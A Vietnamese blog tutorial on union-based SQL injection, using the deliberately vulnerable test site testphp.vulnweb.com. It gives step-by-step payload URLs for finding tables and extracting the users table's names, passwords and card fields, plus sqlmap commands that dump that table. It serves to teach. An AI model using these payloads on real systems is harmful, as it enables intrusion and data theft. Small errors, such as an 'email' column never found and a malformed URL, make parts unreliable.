Tấn công SQL injection có thể xảy ra khi một trang web cho người dùng thực thi câu lệnh SQL ngay trên trang Web hoặc thanh địa chỉ. Trong bài này, mình sẽ trình bày cách thực hiện một cuộc tấn công SQL Injection cơ bản trên một trang web và ở phần cuối, mình sẽ nói về công cụ SQLmap, công cụ này sẽ tự động hóa toàn bộ quy trình.
Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
Trang web http://testphp.vulnweb.com/listproducts.php?cat=1 đang kiểm tra các lỗ hổng php. Mình sẽ sử dụng trang web này để thực hiện cuộc tấn công SQLi.
Cách để thực hiện một cuộc tấn công SQL Injection cơ bản
1. Tìm xem trang web có dễ bị tấn công SQL Injection hay không
Cách cơ bản và đơn giản nhất là kiểm tra URL của các trang bạn đang truy cập. Nếu URL có dạng http://testphp.vulnweb.com/listproducts.php?cat=1, nó là một mục tiêu tiềm năng. Để kiểm tra xem trang web có thực sự đang sử dụng SQL hay không, bạn có thể thêm \ hoặc một dấu ngoặc kép ” hoặc dấu ngoặc đơn ‘ ở cuối URL và xem liệu có gì trong trang thay đổi hoặc bạn gặp lỗi SQL hay không. Đối với hầu hết các trường hợp, lỗi sẽ như sau:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''a\'' at line 1
Nhưng lỗi cũng có thể là bất cứ điều gì khác. Đối với trang web http://testphp.vulnweb.com/listproducts.php?cat=1 khi mình thêm dấu ‘ ở cuối sẽ xuất hiện lỗi:
Vì vậy, mình đã kết luận rằng trang web này có thể bị tấn công SQL Injection http://testphp.vulnweb.com/listproducts.php?cat=1
Trong backend, ứng dụng có thể đang chạy một truy vấn tương tự như
SELECT * FROM XYZ_TABLE WHERE CAT='<the value of id>'
Truy vấn được thực thi cho http://testphp.vulnweb.com/listproducts.php?cat=1′ sẽ là
SELECT * FROM XYZ_TABLE WHERE CAT=1'
Và bạn đã đoán đúng. Lệnh này sẽ tạo ra lỗi.
Chúng ta có thể sửa đổi truy vấn theo bất kỳ cách nào chúng ta muốn. Nếu mình thêm --+
vào cuối, truy vấn sẽ chạy mà không có lỗi. (--+
hoặc #
về cơ bản sẽ comment bất kỳ thứ gì sau nó)
2. Tìm các Database hiện có
Bước tiếp theo sẽ là tìm hiểu các database – cơ sở dữ liệu hiện có. Chúng ta sẽ sử dụng ORDER BY. Nếu mình chạy http://testphp.vulnweb.com/listproducts.php?cat=1 order by 5, truy vấn MySQL tương ứng sẽ là
SELECT * FROM XYZ_TABLE WHERE CAT=1 order by 5--+'
Điều này sẽ sắp xếp kết quả dựa trên cột thứ 5
Mình sẽ lặp lại quá trình này với số cột khác nhau cho đến khi mình nhận được số cột mà trang ngắt. Ví dụ: trong trường hợp này khi ORDER BY 12
, trang sẽ bị ngắt. Bây giờ mình biết rằng tổng số cột là 11. Vì số cột là 11, nên mình sẽ chạy truy vấn select all 1,2,3,4,5,6,7,8,9,10,11
.
http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,2,3,4,5,6,7,8,9,10,11
Truy vấn MySQL tương ứng sẽ trông như này
SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,2,3,4,5,6,7,8,9,10,11
Bây giờ điều hướng đến trang web. Ở một số nơi, bạn sẽ tìm thấy một số từ 1 đến 11. Mình thấy số 7, 2 và 9.
Bây giờ mình biết rằng bất cứ thứ gì mình viết ở vị trí 7, 2 và 9 sẽ được hiển thị. Mình muốn current database
, user
vàversion
, vì vậy mình sẽ thực thi
Lưu ý:%20 là ASCII cho space
Mình đã thay thế 2 bằng user()
, 7 bằng database()
và 9 bằng version()
.
Mình sẽ tìm hiểu cơ sở dữ liệu, phiên bản cơ sở dữ liệu và chi tiết người dùng.
Mình nhận được thông tin sau:
- database —
acuart
- user —
acuart@localhost
- version —
8.0.22–0ubuntu0.20.04.2
3. Tìm Table và dữ liệu trong Table trong Database hiện tại
Một khi thông tin trên được thu thập, mọi thứ sẽ rất đơn giản. Để có được danh sách các bảng, mình sẽ chạy
http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,table_name,3,4,5,6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schema%20=%27acuart%27
Truy vấn SQL tương ứng:
SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,table_name,3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema = 'acuart'
information_schema là cơ sở dữ liệu mặc định chứa danh sách các bảng. Chúng ta sẽ sử dụng thông tin này để tìm ra tên bảng. acuart là tên cơ sở dữ liệu mà chúng ta nhận được từ bước trước.
Trang web sẽ giống như sau:
Chúng ta có một danh sách các bảng Table:
- artists
- carts
- categ
- featured
- guestbook
- pictures
- products
- users
4. Khám phá tên cột – Column trong Table
Khám phá các cột của bảng (column trong Table) users
Truy vấn SQL tương ứng:
SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,column_name,3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name = 'users'
Mình nhận được các tên cột là:
- uname
- pass
- cc
- address
- name
- phone
5. Tìm dữ liệu được lưu trữ trong Table
Để xem tên, email, mật khẩu của người dùng:
Truy vấn SQL tương ứng:
SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,name,3,4,5,6,email,8,pass,10,11 from users
6. Sử dụng SQLmap để tấn công SQL Injection tự động
Nếu mình muốn sử dụng sqlmap để thực hiện việc trên, mình sẽ phải chạy các lệnh sau trên terminal của mình
sqlmap -u
“https//testphp.vulnweb.com/listproducts.php?cat="
--dbs
để lấy danh sách cơ sở dữ liệusqlmap -u
"http://testphp.vulnweb.com/listproducts.php?cat=1"
--current-db
: lấy cơ sở dữ liệu hiện tạisqlmap -u
"http://testphp.vulnweb.com/listproducts.php?cat=1"
--tables -D acuart
: lấy danh sách các bảng trong ‘acuart’sqlmap -u
"http://testphp.vulnweb.com/listproducts.php?cat=1"
--columns -T users -D acuart
: lấy các cột trong bảng ‘users’sqlmap -u
"http://testphp.vulnweb.com/listproducts.php?cat=1"
-T users -D acuart --dump
: lưu trữ tất cả dữ liệu trong bảng users
Tóm tắt về tấn công SQL Injection
Cuộc tấn công SQL Injection là một trong những cuộc tấn công mạnh mẽ nhất mà hacker có thể thực hiện. Có nhiều cách để ngăn chặn SQL Injection, bạn có thể tham khảo tại đây.
Câu hỏi thường gặp
SQL Injection là gì và nó hoạt động như thế nào?
SQL Injection là một kỹ thuật tấn công mạng lợi dụng lỗ hổng bảo mật trong ứng dụng web để thực thi các câu lệnh SQL tùy ý. Nó thường xảy ra khi ứng dụng không xử lý đúng cách dữ liệu đầu vào từ người dùng, cho phép kẻ tấn công chèn các đoạn mã SQL độc hại vào các truy vấn cơ sở dữ liệu.
Tôi có thể phát hiện lỗ hổng SQL Injection trên website như thế nào?
Cách đơn giản là thêm các ký tự đặc biệt như dấu nháy đơn (‘) hoặc dấu nháy kép (” ) vào đầu vào của form hoặc URL. Nếu website trả về lỗi SQL hoặc hành vi bất thường, điều đó cho thấy có khả năng tồn tại lỗ hổng SQL Injection.
Công cụ SQLmap hoạt động như thế nào trong việc khai thác lỗi SQL Injection?
SQLmap là một công cụ tự động hóa quá trình khai thác SQL Injection. Nó có khả năng phát hiện, xác thực và khai thác các lỗ hổng này, giúp thu thập thông tin nhạy cảm từ cơ sở dữ liệu của website bị tấn công.